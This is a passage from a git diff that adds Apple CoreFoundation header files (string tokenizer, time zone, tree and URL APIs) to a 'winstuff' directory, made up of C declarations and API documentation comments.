CFStringTokenizerCopyBestStringLanguage. +*/ + +#if !defined(__COREFOUNDATION_CFSTRINGTOKENIZER__) +#define __COREFOUNDATION_CFSTRINGTOKENIZER__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +/* +=================================================================== + Language Identifier +=================================================================== +*/ + +/*! + @function CFStringTokenizerCopyBestStringLanguage + @abstract Guesses the language of a string and returns the BCP 47 string of the + language. + @param string The string whose language is to be guessed. + @param range The range of characters in string whose language to be + guessed. The specified range must not exceed the bounds of the string. + If the range is empty (length 0), the first few hundred characters in + the string are used. + @result A language represented in BCP 47 string, or NULL if the + language of the string cannot be guessed. + @discussion The result is not guaranteed to be accurate. Typically 200-400 + characters are required to reliably guess the language of a string. +*/ +CF_EXPORT +CFStringRef CFStringTokenizerCopyBestStringLanguage(CFStringRef string, CFRange range); + +/* +=================================================================== + Tokenization +=================================================================== +*/ + +typedef struct __CFStringTokenizer * CFStringTokenizerRef; + +/*! + Tokenization options +*/ +enum { + /*! + Tokenization Unit + Use one of tokenization unit options with CFStringTokenizerCreate to + specify how the string should be tokenized. + */ + /* kCFStringTokenizerUnitWord is not locale sensitive. It doesn't return + space between words as a token. */ + kCFStringTokenizerUnitWord = 0, + kCFStringTokenizerUnitSentence = 1, + kCFStringTokenizerUnitParagraph = 2, + kCFStringTokenizerUnitLineBreak = 3, + /* kCFStringTokenizerUnitWordBoundary can be used in double click detection + and whole word search. It is locale sensitive. If the locale parameter of + CFStringTokenizerCreate is NULL, default locale is used. + kCFStringTokenizerUnitWordBoundary returns space between words as a token. */ + kCFStringTokenizerUnitWordBoundary = 4, + + /*! + Attribute Specifier + Use attribute specifier to tell tokenizer to prepare the specified attribute + when it tokenizes the given string. The attribute value can be retrieved by + calling CFStringTokenizerCopyCurrentTokenAttribute with one of the attribute + option. + */ + /* Latin Transcription. Used with kCFStringTokenizerUnitWord or + kCFStringTokenizerUnitWordBoundary */ + kCFStringTokenizerAttributeLatinTranscription = 1L << 16, + /* Language in BCP 47 string. Used with kCFStringTokenizerUnitSentence + or kCFStringTokenizerUnitParagraph. */ + kCFStringTokenizerAttributeLanguage = 1L << 17 +}; + +/*! + Token type + CFStringTokenizerGoToTokenAtIndex / CFStringTokenizerAdvanceToNextToken returns + the type of current token. +*/ +enum { + /* Have no token. */ + kCFStringTokenizerTokenNone = 0, + + /* Normal token */ + kCFStringTokenizerTokenNormal = 1, + + /*! + Compound token which may contain subtokens but with no derived subtokens. + Its subtokens can be obtained by calling CFStringTokenizerGetCurrentSubTokens. + */ + kCFStringTokenizerTokenHasSubTokensMask = 1L << 1, + + /*! + Compound token which may contain derived subtokens. + Its subtokens and derived subtokens can be obtained by calling + CFStringTokenizerGetCurrentSubTokens. + */ + kCFStringTokenizerTokenHasDerivedSubTokensMask = 1L << 2, + + kCFStringTokenizerTokenHasHasNumbersMask = 1L << 3, + kCFStringTokenizerTokenHasNonLettersMask = 1L << 4, + kCFStringTokenizerTokenIsCJWordMask = 1L << 5 +}; +typedef CFOptionFlags CFStringTokenizerTokenType; + +/*! + @function CFStringTokenizerGetTypeID + @abstract Get the type identifier. + @result the type identifier of all CFStringTokenizer instances. +*/ +CF_EXPORT +CFTypeID CFStringTokenizerGetTypeID(void); + +/*! + @function CFStringTokenizerCreate + @abstract Creates a tokenizer instance. + @param alloc The CFAllocator which should be used to allocate memory for the + tokenizer and its storage for values. This parameter may be NULL in which + case the current default CFAllocator is used. + @param string The string to tokenize. + @param range The range of characters within the string to be tokenized. The + specified range must not exceed the length of the string. + @param options Use one of the Tokenization Unit options to specify how the + string should be tokenized. Optionally specify one or more attribute + specifiers to tell the tokenizer to prepare specified attributes when it + tokenizes the string. + @param locale The locale to specify language or region specific behavior. + If the locale is NULL and the unit is not kCFStringTokenizerUnitWord, + default locale will be used. + The locale is ignored if the unit is kCFStringTokenizerUnitWord. + @result A reference to the new CFStringTokenizer. +*/ +CF_EXPORT +CFStringTokenizerRef CFStringTokenizerCreate(CFAllocatorRef alloc, CFStringRef string, CFRange range, CFOptionFlags options, CFLocaleRef locale); + +/*! + @function CFStringTokenizerSetString + @abstract Set the string to tokenize. + @param tokenizer The reference to CFStringTokenizer returned by + CFStringTokenizerCreate. + @param string The string to tokenize. + @param range The range of characters within the string to be tokenized. The + specified range must not exceed the length of the string. +*/ +CF_EXPORT +void CFStringTokenizerSetString(CFStringTokenizerRef tokenizer, CFStringRef string, CFRange range); + +/*! + @function CFStringTokenizerGoToTokenAtIndex + @abstract Random access to a token. Find a token that includes the character specified + by character index, and set it as the current token. + @param tokenizer The reference to CFStringTokenizer returned by + CFStringTokenizerCreate. + @param index The index of the Unicode character in the CFString. + @result Type of the token if succeeded in finding a token and setting it as + current token. kCFStringTokenizerTokenNone if failed in finding a token. + @discussion The range and attribute of the token can be obtained by calling + CFStringTokenizerGetCurrentTokenRange and CFStringTokenizerCopyCurrentTokenAttribute. + If the token is a compound (with type kCFStringTokenizerTokenHasSubTokensMask or + kCFStringTokenizerTokenHasDerivedSubTokensMask), its subtokens and + (or) derived subtokens can be obtained by calling CFStringTokenizerGetCurrentSubTokens. +*/ +CF_EXPORT +CFStringTokenizerTokenType CFStringTokenizerGoToTokenAtIndex(CFStringTokenizerRef tokenizer, CFIndex index); + +/*! + @function CFStringTokenizerAdvanceToNextToken + @abstract Token enumerator. + @param tokenizer The reference to CFStringTokenizer returned by + CFStringTokenizerCreate. + @result Type of the token if succeeded in finding a token and setting it as + current token. kCFStringTokenizerTokenNone if failed in finding a token. + @discussion If there is no preceding call to CFStringTokenizerGoToTokenAtIndex + or CFStringTokenizerAdvanceToNextToken, it finds the first token in the range + specified to CFStringTokenizerCreate. If there is a current token after successful + call to CFStringTokenizerGoToTokenAtIndex or CFStringTokenizerAdvanceToNextToken, + it proceeds to the next token. If succeeded in finding a token, set it as current + token and return its token type. Otherwise invalidate current token and return + kCFStringTokenizerTokenNone. + The range and attribute of the token can be obtained by calling + CFStringTokenizerGetCurrentTokenRange and + CFStringTokenizerCopyCurrentTokenAttribute. If the token is a compound + (with type kCFStringTokenizerTokenHasSubTokensMask or + kCFStringTokenizerTokenHasDerivedSubTokensMask), its subtokens and + (or) derived subtokens can be obtained by calling CFStringTokenizerGetCurrentSubTokens. +*/ +CF_EXPORT +CFStringTokenizerTokenType CFStringTokenizerAdvanceToNextToken(CFStringTokenizerRef tokenizer); + +/*! + @function CFStringTokenizerGetCurrentTokenRange + @abstract Returns the range of current token. + @param tokenizer The reference to CFStringTokenizer returned by + CFStringTokenizerCreate. + @result Range of current token, or {kCFNotFound,0} if there is no current token. +*/ +CF_EXPORT +CFRange CFStringTokenizerGetCurrentTokenRange(CFStringTokenizerRef tokenizer); + +/*! + @function CFStringTokenizerCopyCurrentTokenAttribute + @abstract Copies the specified attribute of current token. + @param tokenizer The reference to CFStringTokenizer returned by + CFStringTokenizerCreate. + @param attribute Specify a token attribute you want to obtain. The value is + one of kCFStringTokenizerAttributeLatinTranscription or + kCFStringTokenizerAttributeLanguage. + @result Token attribute, or NULL if current token does not have the specified + attribute or if there is no current token. +*/ +CF_EXPORT +CFTypeRef CFStringTokenizerCopyCurrentTokenAttribute(CFStringTokenizerRef tokenizer, CFOptionFlags attribute); + +/*! + @function CFStringTokenizerGetCurrentSubTokens + @abstract Retrieves the subtokens or derived subtokens contained in the compound token. + @param tokenizer The reference to CFStringTokenizer returned by CFStringTokenizerCreate. + @param ranges An array of CFRange to fill in with the ranges of subtokens. The filled in + ranges are relative to the string specified to CFStringTokenizerCreate. This parameter + can be NULL. + @param maxRangeLength The maximum number of ranges to return. + @param derivedSubTokens An array of CFMutableArray to which the derived subtokens are to + be added. This parameter can be NULL. + @result number of subtokens. + @discussion If token type is kCFStringTokenizerTokenNone, the ranges array and + derivedSubTokens array are untouched and the return value is 0. + If token type is kCFStringTokenizerTokenNormal, the ranges array has one item + filled in with the entire range of the token (if maxRangeLength >= 1) and a string + taken from the entire token range is added to the derivedSubTokens array and the + return value is 1. + If token type is kCFStringTokenizerTokenHasSubTokensMask or + kCFStringTokenizerTokenHasDerivedSubTokensMask, the ranges array is filled + in with as many items as there are subtokens (up to a limit of maxRangeLength). + The derivedSubTokens array will have sub tokens added even when the sub token is a + substring of the token. If token type is kCFStringTokenizerTokenHasSubTokensMask, + the ordinary non-derived subtokens are added to the derivedSubTokens array. +*/ +CF_EXPORT +CFIndex CFStringTokenizerGetCurrentSubTokens(CFStringTokenizerRef tokenizer, CFRange *ranges, CFIndex maxRangeLength, CFMutableArrayRef derivedSubTokens); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTRINGTOKENIZER__ */ diff --git a/winstuff/CoreFoundation/CFTimeZone.h b/winstuff/CoreFoundation/CFTimeZone.h new file mode 100644 index 0000000..27dbee6 --- /dev/null +++ b/winstuff/CoreFoundation/CFTimeZone.h @@ -0,0 +1,90 @@ +/* CFTimeZone.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFTIMEZONE__) +#define __COREFOUNDATION_CFTIMEZONE__ 1 + +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +CF_EXPORT +CFTypeID CFTimeZoneGetTypeID(void); + +CF_EXPORT +CFTimeZoneRef CFTimeZoneCopySystem(void); + +CF_EXPORT +void CFTimeZoneResetSystem(void); + +CF_EXPORT +CFTimeZoneRef CFTimeZoneCopyDefault(void); + +CF_EXPORT +void CFTimeZoneSetDefault(CFTimeZoneRef tz); + +CF_EXPORT +CFArrayRef CFTimeZoneCopyKnownNames(void); + +CF_EXPORT +CFDictionaryRef CFTimeZoneCopyAbbreviationDictionary(void); + +CF_EXPORT +void CFTimeZoneSetAbbreviationDictionary(CFDictionaryRef dict); + +CF_EXPORT +CFTimeZoneRef CFTimeZoneCreate(CFAllocatorRef allocator, CFStringRef name, CFDataRef data); + +CF_EXPORT +CFTimeZoneRef CFTimeZoneCreateWithTimeIntervalFromGMT(CFAllocatorRef allocator, CFTimeInterval ti); + +CF_EXPORT +CFTimeZoneRef CFTimeZoneCreateWithName(CFAllocatorRef allocator, CFStringRef name, Boolean tryAbbrev); + +CF_EXPORT +CFStringRef CFTimeZoneGetName(CFTimeZoneRef tz); + +CF_EXPORT +CFDataRef CFTimeZoneGetData(CFTimeZoneRef tz); + +CF_EXPORT +CFTimeInterval CFTimeZoneGetSecondsFromGMT(CFTimeZoneRef tz, CFAbsoluteTime at); + +CF_EXPORT +CFStringRef CFTimeZoneCopyAbbreviation(CFTimeZoneRef tz, CFAbsoluteTime at); + +CF_EXPORT +Boolean CFTimeZoneIsDaylightSavingTime(CFTimeZoneRef tz, CFAbsoluteTime at); + +CF_EXPORT +CFTimeInterval CFTimeZoneGetDaylightSavingTimeOffset(CFTimeZoneRef tz, CFAbsoluteTime at) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +CF_EXPORT +CFAbsoluteTime CFTimeZoneGetNextDaylightSavingTimeTransition(CFTimeZoneRef tz, CFAbsoluteTime at) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED +enum { + kCFTimeZoneNameStyleStandard, + kCFTimeZoneNameStyleShortStandard, + kCFTimeZoneNameStyleDaylightSaving, + kCFTimeZoneNameStyleShortDaylightSaving +}; +typedef CFIndex CFTimeZoneNameStyle; + +CF_EXPORT +CFStringRef CFTimeZoneCopyLocalizedName(CFTimeZoneRef tz, CFTimeZoneNameStyle style, CFLocaleRef locale) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +#endif + +CF_EXPORT +const CFStringRef kCFTimeZoneSystemTimeZoneDidChangeNotification AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFTIMEZONE__ */ + diff --git a/winstuff/CoreFoundation/CFTree.h b/winstuff/CoreFoundation/CFTree.h new file mode 100644 index 0000000..aaaf8b4 --- /dev/null +++ b/winstuff/CoreFoundation/CFTree.h @@ -0,0 +1,324 @@ +/* CFTree.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ +/*! + @header CFTree + CFTree implements a container which stores references to other CFTrees. + Each tree may have a parent, and a variable number of children. +*/ + +#if !defined(__COREFOUNDATION_CFTREE__) +#define __COREFOUNDATION_CFTREE__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFTreeRetainCallBack + Type of the callback function used to add a retain to the user-specified + info parameter. This callback may returns the value to use whenever the + info parameter is retained, which is usually the value parameter passed + to this callback, but may be a different value if a different value + should be used. + @param info A user-supplied info parameter provided in a CFTreeContext. + @result The retained info parameter. +*/ +typedef const void * (*CFTreeRetainCallBack)(const void *info); + +/*! + @typedef CFTreeReleaseCallBack + Type of the callback function used to remove a retain previously + added to the user-specified info parameter. + @param info A user-supplied info parameter provided in a CFTreeContext. +*/ +typedef void (*CFTreeReleaseCallBack)(const void *info); + +/*! + @typedef CFTreeCopyDescriptionCallBack + Type of the callback function used to provide a description of the + user-specified info parameter. + @param info A user-supplied info parameter provided in a CFTreeContext. + @result A description of the info parameter. +*/ +typedef CFStringRef (*CFTreeCopyDescriptionCallBack)(const void *info); + +/*! + @typedef CFTreeContext + Structure containing user-specified data and callbacks for a CFTree. + @field version The version number of the structure type being passed + in as a parameter to the CFTree creation function. + This structure is version 0. + @field info A C pointer to a user-specified block of data. + @field retain The callback used to add a retain for the info field. + If this parameter is not a pointer to a function of the correct + prototype, the behavior is undefined. The value may be NULL. + @field release The calllback used to remove a retain previously added + for the info field. If this parameter is not a pointer to a + function of the correct prototype, the behavior is undefined. + The value may be NULL. + @field copyDescription The callback used to provide a description of + the info field. +*/ +typedef struct { + CFIndex version; + void * info; + CFTreeRetainCallBack retain; + CFTreeReleaseCallBack release; + CFTreeCopyDescriptionCallBack copyDescription; +} CFTreeContext; + +/*! + @typedef CFTreeApplierFunction + Type of the callback function used by the apply functions of + CFTree. + @param value The current value from the CFTree + @param context The user-defined context parameter give to the apply + function. +*/ +typedef void (*CFTreeApplierFunction)(const void *value, void *context); + +/*! + @typedef CFTreeRef + This is the type of a reference to CFTrees. +*/ +typedef struct __CFTree * CFTreeRef; + +/*! + @function CFTreeGetTypeID + Returns the type identifier of all CFTree instances. +*/ +CF_EXPORT +CFTypeID CFTreeGetTypeID(void); + +/*! + @function CFTreeCreate + Creates a new mutable tree. + @param allocator The CFAllocator which should be used to allocate + memory for the tree and storage for its children. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param context A C pointer to a CFTreeContext structure to be copied + and used as the context of the new tree. The info parameter + will be retained by the tree if a retain function is provided. + If this value is not a valid C pointer to a CFTreeContext + structure-sized block of storage, the result is undefined. + If the version number of the storage is not a valid CFTreeContext + version number, the result is undefined. + @result A reference to the new CFTree. +*/ +CF_EXPORT +CFTreeRef CFTreeCreate(CFAllocatorRef allocator, const CFTreeContext *context); + +/*! + @function CFTreeGetParent + Returns the parent of the specified tree. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @result The parent of the tree. +*/ +CF_EXPORT +CFTreeRef CFTreeGetParent(CFTreeRef tree); + +/*! + @function CFTreeGetNextSibling + Returns the sibling after the specified tree in the parent tree's list. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @result The next sibling of the tree. +*/ +CF_EXPORT +CFTreeRef CFTreeGetNextSibling(CFTreeRef tree); + +/*! + @function CFTreeGetFirstChild + Returns the first child of the tree. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @result The first child of the tree. +*/ +CF_EXPORT +CFTreeRef CFTreeGetFirstChild(CFTreeRef tree); + +/*! + @function CFTreeGetContext + Returns the context of the specified tree. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @param context A C pointer to a CFTreeContext structure to be filled in with + the context of the specified tree. If this value is not a valid C + pointer to a CFTreeContext structure-sized block of storage, the + result is undefined. If the version number of the storage is not + a valid CFTreeContext version number, the result is undefined. +*/ +CF_EXPORT +void CFTreeGetContext(CFTreeRef tree, CFTreeContext *context); + +/*! + @function CFTreeGetChildCount + Returns the number of children of the specified tree. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @result The number of children. +*/ +CF_EXPORT +CFIndex CFTreeGetChildCount(CFTreeRef tree); + +/*! + @function CFTreeGetChildAtIndex + Returns the nth child of the specified tree. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @param idx The index of the child tree to be returned. If this parameter + is less than zero or greater than the number of children of the + tree, the result is undefined. + @result A reference to the specified child tree. +*/ +CF_EXPORT +CFTreeRef CFTreeGetChildAtIndex(CFTreeRef tree, CFIndex idx); + +/*! + @function CFTreeGetChildren + Fills the buffer with children from the tree. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @param children A C array of pointer-sized values to be filled with + children from the tree. If this parameter is not a valid pointer to a + C array of at least CFTreeGetChildCount() pointers, the behavior is undefined. + @result A reference to the specified child tree. +*/ +CF_EXPORT +void CFTreeGetChildren(CFTreeRef tree, CFTreeRef *children); + +/*! + @function CFTreeApplyFunctionToChildren + Calls a function once for each child of the tree. Note that the applier + only operates one level deep, and does not operate on descendents further + removed than the immediate children of the tree. + @param heap The tree to be operated upon. If this parameter is not a + valid CFTree, the behavior is undefined. + @param applier The callback function to call once for each child of + the given tree. If this parameter is not a pointer to a + function of the correct prototype, the behavior is undefined. + If there are values in the tree which the applier function does + not expect or cannot properly apply to, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the second parameter to the applier function, but is + otherwise unused by this function. If the context is not + what is expected by the applier function, the behavior is + undefined. +*/ +CF_EXPORT +void CFTreeApplyFunctionToChildren(CFTreeRef tree, CFTreeApplierFunction applier, void *context); + +/*! + @function CFTreeFindRoot + Returns the root tree of which the specified tree is a descendent. + @param tree The tree to be queried. If this parameter is not a valid + CFTree, the behavior is undefined. + @result A reference to the root of the tree. +*/ +CF_EXPORT +CFTreeRef CFTreeFindRoot(CFTreeRef tree); + +/*! + @function CFTreeSetContext + Replaces the context of a tree. The tree releases its retain on the + info of the previous context, and retains the info of the new context. + @param tree The tree to be operated on. If this parameter is not a valid + CFTree, the behavior is undefined. + @param context A C pointer to a CFTreeContext structure to be copied + and used as the context of the new tree. The info parameter + will be retained by the tree if a retain function is provided. + If this value is not a valid C pointer to a CFTreeContext + structure-sized block of storage, the result is undefined. + If the version number of the storage is not a valid CFTreeContext + version number, the result is undefined. +*/ +CF_EXPORT +void CFTreeSetContext(CFTreeRef tree, const CFTreeContext *context); + +/*! + @function CFTreePrependChild + Adds the newChild to the specified tree as the first in its list of children. + @param tree The tree to be operated on. If this parameter is not a valid + CFTree, the behavior is undefined. + @param newChild The child to be added. + If this parameter is not a valid CFTree, the behavior is undefined. + If this parameter is a tree which is already a child of any tree, + the behavior is undefined. +*/ +CF_EXPORT +void CFTreePrependChild(CFTreeRef tree, CFTreeRef newChild); + +/*! + @function CFTreeAppendChild + Adds the newChild to the specified tree as the last in its list of children. + @param tree The tree to be operated on. If this parameter is not a valid + CFTree, the behavior is undefined. + @param newChild The child to be added. + If this parameter is not a valid CFTree, the behavior is undefined. + If this parameter is a tree which is already a child of any tree, + the behavior is undefined. +*/ +CF_EXPORT +void CFTreeAppendChild(CFTreeRef tree, CFTreeRef newChild); + +/*! + @function CFTreeInsertSibling + Inserts newSibling into the the parent tree's linked list of children after + tree. The newSibling will have the same parent as tree. + @param tree The tree to insert newSibling after. If this parameter is not a valid + CFTree, the behavior is undefined. If the tree does not have a + parent, the behavior is undefined. + @param newSibling The sibling to be added. + If this parameter is not a valid CFTree, the behavior is undefined. + If this parameter is a tree which is already a child of any tree, + the behavior is undefined. +*/ +CF_EXPORT +void CFTreeInsertSibling(CFTreeRef tree, CFTreeRef newSibling); + +/*! + @function CFTreeRemove + Removes the tree from its parent. + @param tree The tree to be removed. If this parameter is not a valid + CFTree, the behavior is undefined. +*/ +CF_EXPORT +void CFTreeRemove(CFTreeRef tree); + +/*! + @function CFTreeRemoveAllChildren + Removes all the children of the tree. + @param tree The tree to remove all children from. If this parameter is not a valid + CFTree, the behavior is undefined. +*/ +CF_EXPORT +void CFTreeRemoveAllChildren(CFTreeRef tree); + +/*! + @function CFTreeSortChildren + Sorts the children of the specified tree using the specified comparator function. + @param tree The tree to be operated on. If this parameter is not a valid + CFTree, the behavior is undefined. + @param comparator The function with the comparator function type + signature which is used in the sort operation to compare + children of the tree with the given value. If this parameter + is not a pointer to a function of the correct prototype, the + the behavior is undefined. The children of the tree are sorted + from least to greatest according to this function. + @param context A pointer-sized user-defined value, which is passed + as the third parameter to the comparator function, but is + otherwise unused by this function. If the context is not + what is expected by the comparator function, the behavior is + undefined. +*/ +CF_EXPORT +void CFTreeSortChildren(CFTreeRef tree, CFComparatorFunction comparator, void *context); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFTREE__ */ + diff --git a/winstuff/CoreFoundation/CFURL.h b/winstuff/CoreFoundation/CFURL.h new file mode 100644 index 0000000..4244b65 --- /dev/null +++ b/winstuff/CoreFoundation/CFURL.h @@ -0,0 +1,406 @@ +/* CFURL.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFURL__) +#define __COREFOUNDATION_CFURL__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +enum { + kCFURLPOSIXPathStyle = 0, + kCFURLHFSPathStyle, + kCFURLWindowsPathStyle +}; +typedef CFIndex CFURLPathStyle; + +typedef const struct __CFURL * CFURLRef; + +/* CFURLs are composed of two fundamental pieces - their string, and a */ +/* (possibly NULL) base URL. A relative URL is one in which the string */ +/* by itself does not fully specify the URL (for instance "myDir/image.tiff"); */ +/* an absolute URL is one in which the string does fully specify the URL */ +/* ("file://localhost/myDir/image.tiff"). Absolute URLs always have NULL */ +/* base URLs; however, it is possible for a URL to have a NULL base, and still */ +/* not be absolute. Such a URL has only a relative string, and cannot be */ +/* resolved. Two CFURLs are considered equal if and only if their strings */ +/* are equal and their bases are equal. In other words, */ +/* "file://localhost/myDir/image.tiff" is NOT equal to the URL with relative */ +/* string "myDir/image.tiff" and base URL "file://localhost/". Clients that */ +/* need these less strict form of equality should convert all URLs to their */ +/* absolute form via CFURLCopyAbsoluteURL(), then compare the absolute forms. */ + +CF_EXPORT +CFTypeID CFURLGetTypeID(void); + +/* encoding will be used both to interpret the bytes of URLBytes, and to */ +/* interpret any percent-escapes within the bytes. */ +CF_EXPORT +CFURLRef CFURLCreateWithBytes(CFAllocatorRef allocator, const UInt8 *URLBytes, CFIndex length, CFStringEncoding encoding, CFURLRef baseURL); + +/* Escapes any character that is not 7-bit ASCII with the byte-code */ +/* for the given encoding. If escapeWhitespace is true, whitespace */ +/* characters (' ', '\t', '\r', '\n') will be escaped also (desirable */ +/* if embedding the URL into a larger text stream like HTML) */ +CF_EXPORT +CFDataRef CFURLCreateData(CFAllocatorRef allocator, CFURLRef url, CFStringEncoding encoding, Boolean escapeWhitespace); + +/* Any escape sequences in URLString will be interpreted via UTF-8. */ +CF_EXPORT +CFURLRef CFURLCreateWithString(CFAllocatorRef allocator, CFStringRef URLString, CFURLRef baseURL); + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + +/* Create an absolute URL directly, without requiring the extra step */ +/* of calling CFURLCopyAbsoluteURL(). If useCompatibilityMode is */ +/* true, the rules historically used on the web are used to resolve */ +/* relativeString against baseURL - these rules are generally listed */ +/* in the RFC as optional or alternate interpretations. Otherwise, */ +/* the strict rules from the RFC are used. The major differences are */ +/* that in compatibility mode, we are lenient of the scheme appearing */ +/* in relative portion, leading "../" components are removed from the */ +/* final URL's path, and if the relative portion contains only */ +/* resource specifier pieces (query, parameters, and fragment), then */ +/* the last path component of the base URL will not be deleted */ +CF_EXPORT +CFURLRef CFURLCreateAbsoluteURLWithBytes(CFAllocatorRef alloc, const UInt8 *relativeURLBytes, CFIndex length, CFStringEncoding encoding, CFURLRef baseURL, Boolean useCompatibilityMode) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +#endif + +/* filePath should be the URL's path expressed as a path of the type */ +/* fsType. If filePath is not absolute, the resulting URL will be */ +/* considered relative to the current working directory (evaluated */ +/* at creation time). isDirectory determines whether filePath is */ +/* treated as a directory path when resolving against relative path */ +/* components */ +CF_EXPORT +CFURLRef CFURLCreateWithFileSystemPath(CFAllocatorRef allocator, CFStringRef filePath, CFURLPathStyle pathStyle, Boolean isDirectory); + +CF_EXPORT +CFURLRef CFURLCreateFromFileSystemRepresentation(CFAllocatorRef allocator, const UInt8 *buffer, CFIndex bufLen, Boolean isDirectory); + +CF_EXPORT +CFURLRef CFURLCreateWithFileSystemPathRelativeToBase(CFAllocatorRef allocator, CFStringRef filePath, CFURLPathStyle pathStyle, Boolean isDirectory, CFURLRef baseURL); + +CF_EXPORT +CFURLRef CFURLCreateFromFileSystemRepresentationRelativeToBase(CFAllocatorRef allocator, const UInt8 *buffer, CFIndex bufLen, Boolean isDirectory, CFURLRef baseURL); + +/* Fills buffer with the file system's native representation of */ +/* url's path. No more than maxBufLen bytes are written to buffer. */ +/* The buffer should be at least the maximum path length for */ +/* the file system in question to avoid failures for insufficiently */ +/* large buffers. If resolveAgainstBase is true, the url's relative */ +/* portion is resolved against its base before the path is computed. */ +/* Returns success or failure. */ +CF_EXPORT +Boolean CFURLGetFileSystemRepresentation(CFURLRef url, Boolean resolveAgainstBase, UInt8 *buffer, CFIndex maxBufLen); + +/* Creates a new URL by resolving the relative portion of relativeURL against its base. */ +CF_EXPORT +CFURLRef CFURLCopyAbsoluteURL(CFURLRef relativeURL); + +/* Returns the URL's string. */ +CF_EXPORT +CFStringRef CFURLGetString(CFURLRef anURL); + +/* Returns the base URL if it exists */ +CF_EXPORT +CFURLRef CFURLGetBaseURL(CFURLRef anURL); + +/* +All URLs can be broken into two pieces - the scheme (preceding the +first colon) and the resource specifier (following the first colon). +Most URLs are also "standard" URLs conforming to RFC 1808 (available +from www.w3c.org). This category includes URLs of the file, http, +https, and ftp schemes, to name a few. Standard URLs start the +resource specifier with two slashes ("//"), and can be broken into +four distinct pieces - the scheme, the net location, the path, and +further resource specifiers (typically an optional parameter, query, +and/or fragment). The net location appears immediately following +the two slashes and goes up to the next slash; it's format is +scheme-specific, but is usually composed of some or all of a username, +password, host name, and port. The path is a series of path components +separated by slashes; if the net location is present, the path always +begins with a slash. Standard URLs can be relative to another URL, +in which case at least the scheme and possibly other pieces as well +come from the base URL (see RFC 1808 for precise details when resolving +a relative URL against its base). The full URL is therefore + + "://" + +If a given CFURL can be decomposed (that is, conforms to RFC 1808), you +can ask for each of the four basic pieces (scheme, net location, path, +and resource specifer) separately, as well as for its base URL. The +basic pieces are returned with any percent escape sequences still in +place (although note that the scheme may not legally include any +percent escapes); this is to allow the caller to distinguish between +percent sequences that may have syntactic meaning if replaced by the +character being escaped (for instance, a '/' in a path component). +Since only the individual schemes know which characters are +syntactically significant, CFURL cannot safely replace any percent +escape sequences. However, you can use +CFURLCreateStringByReplacingPercentEscapes() to create a new string with +the percent escapes removed; see below. + +If a given CFURL can not be decomposed, you can ask for its scheme and its +resource specifier; asking it for its net location or path will return NULL. + +To get more refined information about the components of a decomposable +CFURL, you may ask for more specific pieces of the URL, expressed with +the percent escapes removed. The available functions are CFURLCopyHostName(), +CFURLGetPortNumber() (returns an Int32), CFURLCopyUserName(), +CFURLCopyPassword(), CFURLCopyQuery(), CFURLCopyParameters(), and +CFURLCopyFragment(). Because the parameters, query, and fragment of an +URL may contain scheme-specific syntaxes, these methods take a second +argument, giving a list of characters which should NOT be replaced if +percent escaped. For instance, the ftp parameter syntax gives simple +key-value pairs as "=;" Clearly if a key or value includes +either '=' or ';', it must be escaped to avoid corrupting the meaning of +the parameters, so the caller may request the parameter string as + +CFStringRef myParams = CFURLCopyParameters(ftpURL, CFSTR("=;%")); + +requesting that all percent escape sequences be replaced by the represented +characters, except for escaped '=', '%' or ';' characters. Pass the empty +string (CFSTR("")) to request that all percent escapes be replaced, or NULL +to request that none be. +*/ + +/* Returns true if anURL conforms to RFC 1808 */ +CF_EXPORT +Boolean CFURLCanBeDecomposed(CFURLRef anURL); + +/* The next several methods leave any percent escape sequences intact */ + +CF_EXPORT +CFStringRef CFURLCopyScheme(CFURLRef anURL); + +/* NULL if CFURLCanBeDecomposed(anURL) is false */ +CF_EXPORT +CFStringRef CFURLCopyNetLocation(CFURLRef anURL); + +/* NULL if CFURLCanBeDecomposed(anURL) is false; also does not resolve the URL */ +/* against its base. See also CFURLCopyAbsoluteURL(). Note that, strictly */ +/* speaking, any leading '/' is not considered part of the URL's path, although */ +/* its presence or absence determines whether the path is absolute. */ +/* CFURLCopyPath()'s return value includes any leading slash (giving the path */ +/* the normal POSIX appearance); CFURLCopyStrictPath()'s return value omits any */ +/* leading slash, and uses isAbsolute to report whether the URL's path is absolute. */ + +/* CFURLCopyFileSystemPath() returns the URL's path as a file system path for the */ +/* given path style. All percent escape sequences are replaced. The URL is not */ +/* resolved against its base before computing the path. */ +CF_EXPORT +CFStringRef CFURLCopyPath(CFURLRef anURL); + +CF_EXPORT +CFStringRef CFURLCopyStrictPath(CFURLRef anURL, Boolean *isAbsolute); + +CF_EXPORT +CFStringRef CFURLCopyFileSystemPath(CFURLRef anURL, CFURLPathStyle pathStyle); + +/* Returns whether anURL's path represents a directory */ +/* (true returned) or a simple file (false returned) */ +CF_EXPORT +Boolean 